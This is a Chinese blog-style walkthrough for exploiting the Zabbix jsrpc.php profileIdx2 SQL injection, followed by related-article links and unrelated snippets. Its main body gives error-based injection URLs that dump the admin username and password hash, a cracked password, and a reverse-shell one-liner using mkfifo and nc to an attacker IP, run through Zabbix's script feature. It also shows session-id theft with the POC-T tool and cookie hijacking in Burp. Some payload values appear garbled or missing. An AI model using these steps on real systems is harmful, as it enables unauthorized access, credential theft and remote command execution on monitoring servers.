Zabbix 是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

Zabbix 的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix管理系统,也可通过script等功能易直接获取Zabbix服务器的操作系统权限。

1.1. 漏洞利用条件

Zabbix 开启了guest权限。而在Zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

1.2. 影响版本

Zabbix 2.2.x, 3.0.0-3.0.3

通过浏览器直接访问Zabbix

0x01 注入

测试注入,可以发现页面将会报错,并出现如下信息

jsrpc.php?type=&method=screen.get&timestamp=&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=+or+updatexml(,md5(0x11),)+or+=)%&updateProfile=true&period=&stime=&resourcetype=

通过这个现象,即可得知漏洞存在。

利用这个漏洞,我们可以进行错误型sql注射,即可获取管理员的信息。

通过构造payload,获取用户名和密码信息

jsrpc.php?type=&method=screen.get&timestamp=&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=%20and%(select%%20from%(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%,),floor(rand()*))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&period=&stime=&resourcetype=

这个漏洞的问题参数在于profileIdx2,因此payload写在此处。

利用这个payload,可以成功获取到管理员的用户名和密码信息

Admin~5fce1b3e34b520afeffb37ce08c7cd66~~

通过md5解密,即可成功获得密码

到此为止,已经成功获取到了用户名和密码:Admin/zabbix

登录后台

0x02 后台getshell

进入web页面后,前往脚本页面利用zabbix自带的命令行实现反弹shell

创建如下的一个脚本

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh   -i >&|nc 攻击机ip地址    >/tmp/f

点击存档以后,在攻击机中开启一个接收shell端

nc -lvp 

在zabbix页面中,重新返回到首页。在下述位置点击执行脚本

执行成功以后,前往攻击机查看是否接收到shell

方法2

第一种方法属于直接获取管理员的密码信息进行登陆,但是有时候密码设置的很复杂,没办法破解的时候,可以采用方法2。

这个方法是通过sql注入漏洞获取Zabbix登陆用的sessionid,通过修改sessionid从而无需用户名密码即可直接登陆。

这里需要用到一个脚本

脚本地址:

https://github.com/Xyntax/POC-T

将这款工具在攻击机中安装成功,然后执行下面的命令

python POC-T.py -s zabbix-jsrpc-mysql-exp   -iS http://zabbix服务器的ip地址/zabbix/php

可以看到,直接即可获取到密码信息和sessionid

password_md5:Zabbix:5fce1b3e34b520afeffb37ce08c7cd66',   'Session_id:45e0bac4f0b73bb41706a70adec8a097')

接下来,我们使用burp进行抓包,修改sessionid直接登陆。

将cookie中的zbx_sessionid修改为我们找到的sessionid。

点击forward

接下来,我们可以看到,成功的进入后台中

Zabbix 2.2系列注入+getsehll的更多相关文章

  1. zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

    漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统 ...

  2. zabbix监控系统系列

    来自网站:http://www.361way.com/zabbix-summarize/3335.html 一.zabbix的特点 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能 ...

  3. ZABBIX新功能系列1-使用Webhook将告警主动推送至第三方系统

    Zabbix5以来的新版本与以前的版本除UI界面变化较大外,在很多功能上也有许多亮点,我这里计划安排1个系列来和大家交流一些新功能的使用,这是第一篇:使用Webhook将告警主动推送至第三方系统. 首 ...

  4. zabbix latest.php SQL注入漏洞(CVE-2016-10134)

    Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本 latest.php页面提取cookie中的zbx_sessionid的后16位 246c58ba963457ef http://19 ...

  5. zabbix注入过程分析

    Zabbix jsrpc.php sql 注入过程分析 漏洞公开详情(https://support.zabbix.com/browse/ZBX-11023)中提示在insertDB() 中的inse ...

  6. zabbix 安装配置以及漏洞检测脚本

    最近zabbix爆出sql注入漏洞.之前一直没装过.就想着来安装一次.我在centos配置玩玩,记录一下:1.安装LAMP yum -y install httpd  mysql  mysql-ser ...

  7. Zabbix-20160817-高危SQL注入漏洞

    漏洞概述: zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系 ...

  8. Zabbix漏洞学习

    Zabbix介绍 zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案. zabbix能监视各种网络参数,保证服务器系统的安全运营:并提供灵 ...

  9. 我为NET狂~群福利:逆天书库

    我为NET狂-官方群① 238575862 爱学习,爱研究,福利不断,技能直彪~~ 最近更新:2016-08-30,欢迎补充 暂缺PDF: │ SQL Server 2012 Analysis Ser ...

随机推荐

  1. 在一个升序数组中添加最少的数字,使得从1--n之间所有的数都能用数组中几个数的和表示

    一个Java的笔试题上面遇到的题,当时没有做出来. 拆分: 序列升序 1--n所有的数都要能表示 用数组中数字的和表示 添加最少的数字 思路:这个要先从小的数开始表示,因为大的数可以用小数表示. 1- ...

  2. 华为Quidway S5700开启SNMP协议

    开启SNMP协议通过Console口登录主要用于交换机第一次上电或者本地配置.或者无法通过远程访问时,可通过Console口登录.如何才能通过Console口登录交换机呢?在配置通过Console口配 ...

  3. 初识Node.js之Node与java作为后台服务器的对比

    > 文章原创于公众号:程序猿周先森.本平台不定时更新,喜欢我的文章,欢迎关注我的微信公众号. ![file](https://img2018.cnblogs.com/blog/830272/20 ...

  4. 树莓派4B安装docker-compose(64位Linux)

    准备工作 树莓派4B已装好64位Linux,并且装好了19.03.1版本的Docker,具体的安装步骤请参考<树莓派4B安装64位Linux(不用显示器键盘鼠标)> 安装docker-co ...

  5. [Algorithm] 面试题之犄角旮旯 第贰章

    闲下来后,需要讲最近涉及到的算法全部整理一下,有个indice,方便记忆宫殿的查找 MIT的算法课,地球上最好: Design and Analysis of Algorithms 本篇需要重新整理, ...

  6. 线上CPU飙升100%问题排查,一篇足矣

    一.引子 对于互联网公司,线上CPU飙升的问题很常见(例如某个活动开始,流量突然飙升时),按照本文的步骤排查,基本1分钟即可搞定!特此整理排查方法一篇,供大家参考讨论提高. 二.问题复现 线上系统突然 ...

  7. django开发后台接口error 10053/10054

    初学Django,开发完接口之后访问post请求的接口遇到error10053和10054,查阅很多资料没有找到具体的原因. 在这里记录下我遇到这两个报错的原因和解决方案: get请求取请求参数:su ...

  8. 2018年蓝桥杯java b组第六题

    标题:递增三元组 给定三个整数数组A = [A1, A2, ... AN], B = [B1, B2, ... BN], C = [C1, C2, ... CN],请你统计有多少个三元组(i, j, ...

  9. 2015年蓝桥杯java b组第十题

    10. 生命之树 在X森林里,上帝创建了生命之树. 他给每棵树的每个节点(叶子也称为一个节点)上,都标了一个整数,代表这个点的和谐值. 上帝要在这棵树内选出一个非空节点集S,使得对于S中的任意两个点a ...

  10. Chrome 调试AJAX请求返回的JS脚本

    有时候会使用AJAX请求加载局部的Html页面,这个时候如果想调试局部页面中的js就比较麻烦,现在暂时发现了两种方法.第一种是在js代码中想要断点的地方加debugger,这样代码执行到此处会进入断点 ...